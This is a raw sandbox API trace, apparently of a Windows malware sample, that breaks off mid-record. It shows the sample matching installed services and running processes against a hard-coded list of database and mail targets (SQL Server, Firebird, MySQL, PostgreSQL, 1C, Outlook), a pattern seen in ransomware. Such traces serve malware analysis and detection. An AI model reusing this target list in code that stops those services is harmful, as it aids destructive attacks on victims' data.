[0041.831] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.831] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.831] lstrlenW (lpString="eventlog") returned 8 [0041.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.832] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.832] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.832] lstrlenW (lpString="EventSystem") returned 11 [0041.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.832] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.832] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.832] lstrlenW (lpString="gpsvc") returned 5 [0041.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.832] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.832] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.832] lstrlenW (lpString="iphlpsvc") returned 8 [0041.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.832] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.832] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.832] lstrlenW (lpString="LanmanServer") returned 12 [0041.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.832] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.832] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.832] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.832] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.833] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.833] lstrlenW (lpString="lmhosts") returned 7 [0041.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.833] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.833] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.833] lstrlenW (lpString="MMCSS") returned 5 [0041.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.833] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.833] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.833] lstrlenW (lpString="MpsSvc") returned 6 [0041.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.833] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.833] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.833] lstrlenW (lpString="Netman") returned 6 [0041.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.833] lstrlenW (lpString="netprofm") returned 8 [0041.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.833] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.833] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.833] lstrlenW (lpString="NlaSvc") returned 6 [0041.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.834] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.834] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.834] lstrlenW (lpString="nsi") returned 3 [0041.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.834] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.834] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.834] lstrlenW (lpString="PcaSvc") returned 6 [0041.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.834] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.834] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.834] lstrlenW (lpString="PlugPlay") returned 8 [0041.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.834] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.834] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.834] lstrlenW (lpString="Power") returned 5 [0041.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.834] lstrlenW (lpString="ProfSvc") returned 7 [0041.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.834] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.835] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.835] lstrlenW (lpString="RpcSs") returned 5 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.835] lstrlenW (lpString="SamSs") returned 5 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.835] lstrlenW (lpString="Schedule") returned 8 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.835] lstrlenW (lpString="SENS") returned 4 [0041.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.835] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.835] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.836] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.836] lstrlenW (lpString="Spooler") returned 7 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.836] lstrlenW (lpString="SysMain") returned 7 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.836] lstrlenW (lpString="Themes") returned 6 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.836] lstrlenW (lpString="TrkWks") returned 6 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.836] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.836] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.836] lstrlenW (lpString="UxSms") returned 5 [0041.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.837] lstrlenW (lpString="VSS") returned 3 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0041.837] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.837] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.837] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.837] lstrlenW (lpString="Winmgmt") returned 7 [0041.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.838] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.838] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.838] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.838] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x329eab0 | out: hHeap=0x790000) returned 1 [0041.838] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0041.840] Process32FirstW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.840] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.840] lstrlenW (lpString="System") returned 6 [0041.840] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.840] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.840] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.840] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.840] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.840] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.840] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.840] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.841] lstrlenW (lpString="smss.exe") returned 8 [0041.841] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.841] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.841] lstrlenW (lpString="csrss.exe") returned 9 [0041.841] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.841] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.841] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.841] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.841] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.842] lstrlenW (lpString="wininit.exe") returned 11 [0041.842] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.842] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.842] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.842] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.842] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.842] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.842] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.842] lstrlenW (lpString="csrss.exe") returned 9 [0041.842] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.842] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.842] lstrlenW (lpString="winlogon.exe") returned 12 [0041.842] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.843] lstrlenW (lpString="services.exe") returned 12 [0041.843] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.843] lstrlenW (lpString="lsass.exe") returned 9 [0041.843] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.843] lstrlenW (lpString="lsm.exe") returned 7 [0041.844] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.844] lstrlenW (lpString="svchost.exe") returned 11 [0041.844] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.844] lstrlenW (lpString="svchost.exe") returned 11 [0041.844] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.844] lstrlenW (lpString="svchost.exe") returned 11 [0041.844] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.845] lstrlenW (lpString="svchost.exe") returned 11 [0041.845] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.845] lstrlenW (lpString="svchost.exe") returned 11 [0041.845] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.845] lstrlenW (lpString="audiodg.exe") returned 11 [0041.845] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.845] lstrlenW (lpString="svchost.exe") returned 11 [0041.845] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.846] lstrlenW (lpString="svchost.exe") returned 11 [0041.846] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.846] lstrlenW (lpString="dwm.exe") returned 7 [0041.846] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.846] lstrlenW (lpString="explorer.exe") returned 12 [0041.846] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.846] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.846] Process32NextW (in: hSnapshot=0x360, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, 